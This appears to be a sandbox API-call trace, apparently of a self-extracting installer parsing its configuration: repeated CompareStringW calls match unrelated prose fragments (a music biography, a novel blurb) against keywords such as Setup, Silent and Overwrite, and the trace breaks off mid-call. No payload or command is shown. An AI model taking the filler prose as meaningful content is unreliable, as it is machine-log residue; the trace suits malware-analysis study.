CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" known as Bad Meets Evil. Eminem has developed other ventures, including Shady Records, with manager Paul Rosenberg, which helped launch the careers of artists such as 50 Cent. ", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Eminem has also established his own channel,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0068.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Silent", 